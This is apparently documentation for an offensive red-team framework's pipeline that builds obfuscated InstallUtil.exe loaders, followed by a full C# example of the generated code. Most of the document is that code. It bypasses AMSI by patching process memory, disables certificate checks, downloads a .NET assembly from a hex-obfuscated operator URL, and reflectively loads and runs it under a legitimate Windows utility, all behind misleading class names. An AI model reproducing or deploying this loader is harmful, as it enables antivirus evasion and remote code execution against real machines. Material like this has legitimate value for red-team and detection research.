Description
Generates an executable that can be run with InstallUtil.exe.
Overview
This pipeline generates an obfuscated, detection resistent .NET executable that can be run by InstallUtil.exe to bypass or evade defenses.Once launched, it downloads and runs the specified .NET module. This can be either a SpecterInsight pipeline OR a .NET module histed at the operator provided URL.
Threat actors leverage InstallUtil.exe, a legitimate .NET Framework utility, as a Living-Off-The-Land Binary (LOLBin) to execute malicious payloads. InstallUtil.exe is used to install and uninstall server resources by executing the installation logic defined in the Install method of a .NET assembly. Malicious actors misuse this functionality to execute arbitrary code during the installation process.
Parameters
| Parameter Name | Type | Description |
|---|---|---|
| PayloadKind | string | The type of payload to generate. Options: ‘csharp_load_module_code’, ‘csharp_shellcode_inject_code’, ‘win_any’. Default: ‘win_any’. |
| AmsiBypassTechnique | string | The AMSI bypass technique to run before loading the target .NET module. Options: ‘PatchAmsiScanBuffer’, ‘AmsiScanBufferStringReplace’, ‘None’. Default: ‘AmsiScanBufferStringReplace’. |
| FrameworkVersion | CSharpCompilerFrameworkVersion | The .NET Framework version to target. Default: ‘Dotnet2’. |
Example Output
using System;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
public class PackageUninstaller{
public static void Main(string[] tempArray)
{
Console.WriteLine(BarcodeGenerator.PermissionGranter.IsManual);
}
}
[System.ComponentModel.RunInstaller(true)]
public class DatabaseSchemaGenerator: System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary settings)
{
base.Uninstall(settings);
FileOpener.InvoiceBillingCountry.Join();
}
}
internal static class FileOpener{
public static Thread InvoiceBillingCountry{ get; set; }
static FileOpener()
{
UnitConverter.CodeCollaborator.RevokePermission();
FileOpener.InvoiceBillingCountry = new Thread(FileOpener.SendNotification);
FileOpener.InvoiceBillingCountry.Start();
}
private static void SendNotification()
{
byte[] status= FileOpener.MergeVideos(BarcodeGenerator.PermissionGranter.OrderBillingState);
if (status != null)
{
MethodInfo tempEnum= FileOpener.RotateImage(status);
ParameterInfo[] debugValue= tempEnum.GetParameters();
object[] tempArray= null;
if (debugValue.Length == 1 && debugValue[0].ParameterType.Equals(typeof(string[])))
{
tempArray = new object[]
{
new string[0]
};
}
tempEnum.Invoke(null, tempArray);
}
}
public static MethodInfo RotateImage(byte[] tempObject)
{
Assembly data= Assembly.Load(tempObject);
return data.EntryPoint;
}
public static byte[] MergeVideos(string tempGuid)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += FileOpener.AddOverlayToVideo;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType stream= (SecurityProtocolType)0;
foreach (SecurityProtocolType requestData in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType postData = stream | requestData;
try
{
ServicePointManager.SecurityProtocol = postData;
stream = postData;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = stream;
// Create a valid user agent string
string httpResponse= BarcodeGenerator.PermissionGranter.OrderBillingCity;
using (WebClient height= new WebClient())
{
height.Headers.Add(BarcodeGenerator.PermissionGranter.ProductSKU, httpResponse);
return height.DownloadData(tempGuid);
}
}
private static bool AddOverlayToVideo(object tempResult, X509Certificate createdBy, X509Chain log, SslPolicyErrors tempString)
{
return true;
}
}
namespace UnitConverter{
public class CodeCollaborator {
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void GetSystemInfo(ref SYSTEM_INFO socket);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualQuery(IntPtr tempData, ref MEMORY_BASIC_INFORMATION list, uint tempDouble);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualProtect(IntPtr tempData, uint tempVar, uint age, out uint responseData);
[DllImport("psapi.dll", SetLastError = true)]
private static extern uint GetMappedFileName(IntPtr tempKey, IntPtr logMessage, StringBuilder isValid, uint address);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr tempKey, IntPtr tempVariable, byte[] list, int address, out int errorInfo);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr tempKey, IntPtr tempVariable, byte[] list, int address, out int createdDate);
// Structs and constants
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_INFO
{
public ushort heightValue;
public ushort connection;
public uint array;
public IntPtr session;
public IntPtr flagValue;
public IntPtr value;
public uint responseText;
public uint isEnabled;
public uint count;
public ushort tempIndex;
public ushort logLevel;
}
[StructLayout(LayoutKind.Sequential)]
private struct MEMORY_BASIC_INFORMATION
{
public IntPtr errorMessage;
public IntPtr endpointUrl;
public uint xmlData;
public IntPtr element;
public uint utcTime;
public uint length;
public uint email;
}
private const uint configuration= 0x02;
private const uint width= 0x04;
private const uint server= 0x40;
private const uint phoneNumber= 0x20;
private const uint warningInfo= 0x100;
private const uint flag= 0x1000;
private const int configFile= 260;
public static void RevokePermission()
{
IntPtr tempKey= GetCurrentProcess();
// Get system information
SYSTEM_INFO client= new SYSTEM_INFO();
GetSystemInfo(ref client);
// List of memory regions to scan
List<MEMORY_BASIC_INFORMATION> fullName= new List<MEMORY_BASIC_INFORMATION>();
IntPtr tempList= IntPtr.Zero;
// Scan through memory regions
while (tempList.ToInt64() < client.flagValue.ToInt64())
{
MEMORY_BASIC_INFORMATION requestUrl= new MEMORY_BASIC_INFORMATION();
if (CodeCollaborator.VirtualQuery(tempList, ref requestUrl, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))))
{
fullName.Add(requestUrl);
}
// Move to the next memory region
tempList = new IntPtr(tempList.ToInt64() + requestUrl.element.ToInt64());
}
int jsonObject= 0;
//Loop through memory regions
foreach (MEMORY_BASIC_INFORMATION password in fullName)
{
//Check if the region is readable and writable
if (!CodeCollaborator.SplitVideo(password.length, password.utcTime))
{
continue;
}
//Scan the region for the AMSISCANBUFFER pattern
byte[] webRequest = new byte[password.element.ToInt64()];
int logEntry = 0;
CodeCollaborator.ReadProcessMemory(tempKey, password.errorMessage, webRequest, (int)password.element.ToInt64(), out logEntry);
//Check if the region contains a mapped file
StringBuilder webClient = new StringBuilder(configFile);
if (CodeCollaborator.GetMappedFileName(tempKey, password.errorMessage, webClient, configFile) > 0)
{
string tempFlag = webClient.ToString();
if (tempFlag.EndsWith(BarcodeGenerator.PermissionGranter.StartDate, StringComparison.InvariantCultureIgnoreCase))
{
for (int tempDictionary = 0; tempDictionary < logEntry; tempDictionary++)
{
if (CodeCollaborator.ValidateInput(webRequest, CodeCollaborator.obj, tempDictionary))
{
uint isError;
if ((password.length & width) != width)
{
CodeCollaborator.VirtualProtect(password.errorMessage, (uint)password.element.ToInt32(), server, out isError);
}
byte[] response = new byte[CodeCollaborator.obj.Length];
int errorValue = 0;
CodeCollaborator.WriteProcessMemory(tempKey, new IntPtr(password.errorMessage.ToInt64() + tempDictionary), response, response.Length, out errorValue);
jsonObject++;
if ((password.length & width) != width)
{
VirtualProtect(password.errorMessage, (uint)password.element.ToInt32(), password.length, out isError);
}
}
}
}
}
} }
private static bool SplitVideo(uint appSettings, uint tempInt)
{
// Check if the memory protection allows reading
if (!((appSettings & configuration) == configuration || (appSettings & width) == width || (appSettings & server) == server || (appSettings & phoneNumber) == phoneNumber))
{
return false;
}
// Check if the PAGE_GUARD flag is set, which would make the page inaccessible
if ((appSettings & warningInfo) == warningInfo)
{
return false;
}
// Check if the memory state is committed
if ((tempInt & flag) != flag)
{
return false;
}
return true;
}
private static bool ValidateInput(byte[] webRequest, byte[] firstName, int baseUri)
{
for (int tempItem= 0; tempItem < firstName.Length; tempItem++)
{
if (webRequest[baseUri + tempItem] != firstName[tempItem])
{
return false;
}
}
return true;
}
public static readonly byte[] obj= Encoding.UTF8.GetBytes(BarcodeGenerator.PermissionGranter.Email);
}
public class LogArchiver{
static LogArchiver() {
int index= 109;
}
private static void SendRequest(byte[] currentTime, int index) {
for(int tempItem= 0; tempItem < currentTime.Length; tempItem++) {
int tempValue= currentTime[tempItem] - index;
if(tempValue < 0) {
tempValue += 256;
}
currentTime[tempItem] = (byte)tempValue;
}
}
}}namespace BarcodeGenerator{public static class PermissionGranter{
private static readonly string warningValue= "072C341F2A2722DD212D2B2B1F2C22EB";
public static string IsManual {
get
{
return PermissionGranter.GenerateDatabaseSchema(PermissionGranter.warningValue);
}
}
private static readonly string apiUrl= "2632322E31F7ECEC2A2D211F2A262D3132EC31321F322721EC3023312D3330212331ECFC2033272A22FA1FF123F3F5F62021EDEDF3EEF1F21F231FEF21F3F2F4F0212423F1F320EE24F5E329272C22FA35272C1D1F2C37";
public static string OrderBillingState {
get
{
return PermissionGranter.GenerateDatabaseSchema(PermissionGranter.apiUrl);
}
}
private static readonly string webResponse= "0B2D38272A2A1FECF2EBEDDDE515272C222D3531DD0C12DDEEEDEBEDF8DD15272CF3F1F8DD36F3F1E6DDFE2E2E2A23152320092732ECF2F0F4EBF0F3DDE50906120B0AE9DD2A272923DD052321292DE6DD0126302D2B23ECF6EEEBEDEBF1F1F4EFEBEEEFF1DD111F241F3027ECF2F0F4EBF0F3";
public static string OrderBillingCity {
get
{
return PermissionGranter.GenerateDatabaseSchema(PermissionGranter.webResponse);
}
}
private static readonly string putData= "33312330EA1F25232C32";
public static string ProductSKU {
get
{
return PermissionGranter.GenerateDatabaseSchema(PermissionGranter.putData);
}
}
private static readonly string connectionStrings= "212A30EB222A2A";
public static string StartDate {
get
{
return PermissionGranter.GenerateDatabaseSchema(PermissionGranter.connectionStrings);
}
}
private static readonly string username= "FE2B312711211F2C003324242330";
public static string Email {
get
{
return PermissionGranter.GenerateDatabaseSchema(PermissionGranter.username);
}
}
private static string GenerateDatabaseSchema(string debugFlag)
{
byte[] token= new byte[debugFlag.Length / 2];
for (int tempItem= 0; tempItem < debugFlag.Length; tempItem += 2)
{
byte modifiedBy= Convert.ToByte(debugFlag.Substring(tempItem, 2), 16);
modifiedBy = (byte)((byte.MaxValue + (int)modifiedBy - PermissionGranter.currentTimezone) % byte.MaxValue);
token[tempItem / 2] = modifiedBy;
}
return Encoding.UTF8.GetString(token);
}
private const byte currentTimezone= 189;
}}
